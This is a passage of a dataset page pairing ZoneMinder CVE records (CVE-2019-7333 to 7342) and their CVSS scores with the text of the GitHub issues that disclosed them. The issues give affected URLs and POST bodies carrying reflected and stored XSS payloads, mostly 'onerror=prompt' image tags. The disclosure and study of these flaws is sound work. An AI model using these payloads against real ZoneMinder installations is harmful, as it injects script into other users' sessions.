Eathus/github-issues-references-max · Datasets at Hugging Face

CVE-2019-7333

2019-02-04T19:29:00.740

Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'Exportfile' parameter value in the view download (download.php) because proper filtration is omitted.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2441" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2441" } ]

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[ "79" ]

79

https://github.com/ZoneMinder/zoneminder/issues/2441

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `download`, while exporting an event file, prints the `Exportfile` parameter value on the webpage without applying any proper filtration, leading to reflected XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php?view=download&eid=1&exportFile=javascript:alert('1');`&generated=1 Payload used - `javascript:alert('1');` - Navigate to the Affected URL - Click on Download, Payload would be triggered. <img width="477" alt="download - 1" src="https://user-images.githubusercontent.com/47003572/51695053-23a04f00-2028-11e9-8f0d-8dc5a40cfcd1.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Cross Site Scripting (XSS) - download.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2441/comments

0

2019-01-24T17:06:53Z

2019-02-09T09:17:26Z

https://github.com/ZoneMinder/zoneminder/issues/2441

402,807,645

2,441

103

CVE-2019-7334

2019-02-04T19:29:00.773

Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'Exportfile' parameter value in the view export (export.php) because proper filtration is omitted.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2443" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2443" } ]

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[ "79" ]

79

https://github.com/ZoneMinder/zoneminder/issues/2443

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `export`, while exporting an event file, prints the `Exportfile` name of the webpage without applying any proper filtration, leading to an XSS issue **To Reproduce** Affected URL : http://localhost/zm/index.php?view=export&eid=&exportFile=javascript:alert('1');&generated=1 Payload used - `javascript:alert('1');` - Navigate to the Affected URL - Click on Download, Payload would be triggered. <img width="505" alt="export - 1" src="https://user-images.githubusercontent.com/47003572/51700709-d32fee00-2035-11e9-90a9-68f528c8415e.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Cross Site Scripting (XSS) - export.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2443/comments

0

2019-01-24T18:42:31Z

2019-02-09T10:02:42Z

https://github.com/ZoneMinder/zoneminder/issues/2443

402,843,957

2,443

104

CVE-2019-7335

2019-02-04T19:29:00.803

Self - Stored XSS exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code in the view 'log' as it insecurely prints the 'Log Message' value on the web page without applying any proper filtration. This relates to the view=logs value.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2453" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2453" } ]

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[ "79" ]

79

https://github.com/ZoneMinder/zoneminder/issues/2453

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `log`, insecurely prints the `Log Message` value on the webpage without applying any proper filtration, leading to XSS. Example - Attacker can entice the victim visit an non-existing view (using XSS payload instead of a valid view), the non-existing view will be reflected back in the logs, thereby triggering the XSS payload. **To Reproduce** Affected URL : http://localhost/zm/index.php?view=logs Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to any URL, which reflects back the user supplied input into the logs view (http://localhost/zm/index.php?view=XSSPAYLOAD) - Navigate to the affected link, payload would be triggered. <img width="390" alt="logs" src="https://user-images.githubusercontent.com/47003572/51704509-42f6a680-203f-11e9-8cfe-c49dd2f0b65f.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Self - Stored Cross Site Scripting(XSS) - log.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2453/comments

0

2019-01-24T19:52:38Z

2019-02-10T02:44:06Z

https://github.com/ZoneMinder/zoneminder/issues/2453

402,869,600

2,453

105

CVE-2019-7336

2019-02-04T19:29:00.850

Self - Stored Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, as the view _monitor_filters.php contains takes in input from the user and saves it into the session, and retrieves it later (insecurely). The values of the MonitorName and Source parameters are being displayed without any output filtration being applied. This relates to the view=cycle value.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2457" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2457" } ]

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[ "79" ]

79

https://github.com/ZoneMinder/zoneminder/issues/2457

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** Multiple views include the view `_monitor_filters.php`, being the file where the vulnerable code exists. The view `_monitor_filters` contains a filter form, where it takes in input from the user & saves it into the session, in order to preserve & retrieve it later (insecurely). The value of `MonitorName` & `Source` parameter are being displayed without any output filtration being applied. **To Reproduce** Multiple Views (cycle.php example ) Affected URL : http://localhost/zm/index.php?view=cycle&filtering=&MonitorName="><img src=x onerror-prompt('1');>&Function[]=Modect&Status[]=Unknown&Status[]=w&Source="><img src=x onerror-prompt('1');> Payload used - `"><img src=x onerror-prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="673" alt="cycle" src="https://user-images.githubusercontent.com/47003572/51705421-9ec22f00-2041-11e9-888c-7c10a34d41d4.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Self - Stored Cross Site Scripting(XSS) - _monitor_filters.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2457/comments

0

2019-01-24T20:09:34Z

2019-02-10T03:14:41Z

https://github.com/ZoneMinder/zoneminder/issues/2457

402,875,767

2,457

106

CVE-2019-7337

2019-02-04T19:29:00.897

Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3 as the view 'events' (events.php) insecurely displays the limit parameter value, without applying any proper output filtration. This issue exists because of the function sortHeader() in functions.php, which insecurely returns the value of the limit query string parameter without applying any filtration.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 1.7, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2456" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2456" } ]

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[ "79" ]

79

https://github.com/ZoneMinder/zoneminder/issues/2456

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `events`, insecurely displays the `limit` parameter value, without applying any proper output filtration leading to XSS. This issue exists because of function `sortHeader()` in `functions.php` which insecurely returns the value of `limit` query string parameter without applying any filtration. **To Reproduce** Affected URL : http://localhost/zm/index.php?view=events&filter[Query][terms][0][attr]=Archived&filter[Query][terms][0][op]==&filter[Query][terms][0][val]=0&filter[Query][terms][1][cnj]=-3439)OR1=1-&filter[Query][terms][1][attr]=DiskPercent&filter[Query][terms][1][op]=>=&filter[Query][terms][1][val]=95&sort_field=Id&sort_asc=2&limit="><img src=x onerror-prompt('1');>&page=2 Payload used - `"><img src=x onerror-prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="655" alt="events 2" src="https://user-images.githubusercontent.com/47003572/51705245-16438e80-2041-11e9-9db8-943fb8a43eb1.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Cross Site Scripting(XSS) - events.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2456/comments

0

2019-01-24T20:03:05Z

2019-02-10T01:28:00Z

https://github.com/ZoneMinder/zoneminder/issues/2456

402,873,415

2,456

107

CVE-2019-7338

2019-02-04T19:29:00.943

Self - Stored XSS exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code in the view 'group' as it insecurely prints the 'Group Name' value on the web page without applying any proper filtration.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2454" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2454" } ]

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[ "79" ]

79

https://github.com/ZoneMinder/zoneminder/issues/2454

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `group`, insecurely displays the `Group name`, that is without applying any proper output filtration leading to XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php?view=group&gid=1&popup=1 Payload used - `"><img src=x onerror-prompt('1');>` - Navigate to the Affected URL, Inject the XSS payload into the `Name` field (window will be closed). - Now on the current window, click on the group name, popup will be opened & XSS payload would be triggered. <img width="406" alt="group" src="https://user-images.githubusercontent.com/47003572/51704836-0e371f00-2040-11e9-925c-0f4cd4f980d2.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Self - Stored Cross Site Scripting(XSS) - group.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2454/comments

0

2019-01-24T19:56:02Z

2019-02-09T22:06:20Z

https://github.com/ZoneMinder/zoneminder/issues/2454

402,870,845

2,454

108

CVE-2019-7339

2019-02-04T19:29:00.977

POST - Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'level' parameter value in the view log (log.php) because proper filtration is omitted.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2460" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2460" } ]

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[ "79" ]

79

https://github.com/ZoneMinder/zoneminder/issues/2460

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The parameter value `level`, is displayed insecurely, without applying any proper output filtration leading to XSS **To Reproduce** Affected URL : http://localhost/zm/index.php POST Data - `browser[name]=chrome&browser[platform]=win&browser[version]=41&file=http://localhost/zm/?filter[Query][terms][0][attr]=MonitorId&filter[Query][terms][0][op]==&filter[Query] [terms][0][val]=19&level="><img src=x onerror=prompt('1');>&line=128&message=ReferenceError: Can't find variable: createPopup&page=1&request=log&task=create&view=events&view=request` Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="686" alt="level" src="https://user-images.githubusercontent.com/47003572/51706543-c5359980-2044-11e9-9e80-264333dfa91d.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

POST - Reflected Cross Site Scripting(XSS) - log.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2460/comments

0

2019-01-24T20:29:35Z

2019-02-10T02:52:11Z

https://github.com/ZoneMinder/zoneminder/issues/2460

402,882,684

2,460

109

CVE-2019-7340

2019-02-04T19:29:01.007

POST - Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'filter[Query][terms][0][val]' parameter value in the view filter (filter.php) because proper filtration is omitted.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2462" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2462" } ]

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[ "79" ]

79

https://github.com/ZoneMinder/zoneminder/issues/2462

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `filter`, insecurely displays the `filter[Query][terms][0][val]` parameter value, without applying any proper output filtration leading to XSS. **To Reproduce** Affected URL : http://localhost/zm/?sort_asc=1&sort_field=StartTime&view=filter POST Data - `executeButton=&action=&filter[AutoArchive]=1&filter[AutoDelete]=1&filter[AutoExecute]=1&filter[AutoExecuteCmd]=0&filter[AutoMove]=1&filter[AutoMoveTo]=1&filter[AutoVideo]=1&filter[B [limit]=100&filter[Query][sort_asc]=1&filter[Query][sort_field]=Id&filter[Query][terms][0][attr]=MonitorId&filter[Query][terms][0][op]==&filter[Query][terms][0] [val]="><img src=x onerror=prompt('1');>&filter[UpdateDiskSpace]=1&Id=&object=filter` Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="687" alt="filter 3" src="https://user-images.githubusercontent.com/47003572/51706993-17c38580-2046-11e9-840b-bd6cd260dffe.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

POST - Reflected Cross Site Scripting(XSS) - filter.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2462/comments

0

2019-01-24T20:39:09Z

2019-02-09T23:36:09Z

https://github.com/ZoneMinder/zoneminder/issues/2462

402,886,046

2,462

110

CVE-2019-7341

2019-02-04T19:29:01.053

Reflected - Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'newMonitor[LinkedMonitors]' parameter value in the view monitor (monitor.php) because proper filtration is omitted.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2463" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2463" } ]

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[ "79" ]

79

https://github.com/ZoneMinder/zoneminder/issues/2463

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `monitor`, insecurely prints the `newMonitor[LinkedMonitors]` value on the webpage, without applying any proper filtration, leading to Reflected XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php POST Data - ``` view=monitor&tab=source&action=monitor&mid=0&newMonitor[LinkedMonitors]="><img src=x onerror=prompt('1');>&origMethod=v4l2&newMonitor[Name]=Monitor1766&newMonitor[ServerId]=&newMonitor[StorageId]=1&newMonitor[Type]=Local&newMonitor[Function]=Mocord&newMonitor[Enabled]=1&newMonitor[RefBlendPerc]=6&ne wMonitor[AlarmRefBlendPerc]=6&newMonitor[AnalysisFPSLimit]=&newMonitor[MaxFPS]= 30&newMonitor[AlarmMaxFPS]=30&newMonitor[Triggers] []=&newMonitor[Protocol]=&newMonitor[Host]=&newMonitor[Port]=80&newMonitor[Options]=&newMonitor[Path]=&newMonitor[User]=&newMonitor[Pass]=&newMonitor[Save JPEGs]=0&newMonitor[VideoWriter]=1&newMonitor[EncoderParameters]=# Lines beginning with # are a comment # For changing quality, use the crf option# 1 is best, 51 is worst quality#crf=23&newMonitor[RecordAudio]=0&newMonitor[RTSPDescribe]=0&newMonitor[LabelFormat]=%N - %d/%m/%y %H:%M:%S&newMonitor[LabelX]=0&newMonitor[LabelY]=0&newMonitor[LabelSize]=1&newMonitor[ImageBufferCount]=20&newMonitor[WarmupCount]=0&newMonitor[PreEve ntCount]=0&newMonitor[PostEventCount]=5&newMonitor[StreamReplayBuffer]=0&newMonitor[AlarmFrameCount]=1&newMonitor[EventPrefix]=Event&newMonitor[SectionLength]=600&newMonitor[FrameSkip]=0&newMonitor[MotionFrameSkip]=0&newMonitor[AnalysisUpdateDelay]=0&newMonitor[FPSReportInterval]=100&n ewMonitor[DefaultView]=Events&newMonitor[DefaultRate]=100&newMonitor[DefaultScale]=100&newMonitor[WebColour]=red&newMonitor[Exif]=0&newMonitor[SignalCheckP oints]=10&newMonitor[SignalCheckColour]=#0000c0&newMonitor[Device]=/dev/video0&newMonitor[Method]=&newMonitor[Channel]=0&newMonitor[Format]=255&newMonito r[Palette]=0&newMonitor[V4LMultiBuffer]=0&newMonitor[V4LCapturesPerFrame]=&newMonitor[Colours]=\&newMonitor[Width]=1280&newMonitor[Height]=720&newMonitor[Or ientation]=0&newMonitor[Deinterlacing]=0 ``` Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="802" alt="monitor" src="https://user-images.githubusercontent.com/47003572/51707562-8fde7b00-2047-11e9-860c-8ee92d06571c.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Cross Site Scripting(XSS) - monitor.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2463/comments

0

2019-01-24T20:50:25Z

2019-02-10T01:15:23Z

https://github.com/ZoneMinder/zoneminder/issues/2463

402,889,930

2,463

111

CVE-2019-7342

2019-02-04T19:29:01.100

POST - Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'filter[AutoExecuteCmd]' parameter value in the view filter (filter.php) because proper filtration is omitted.

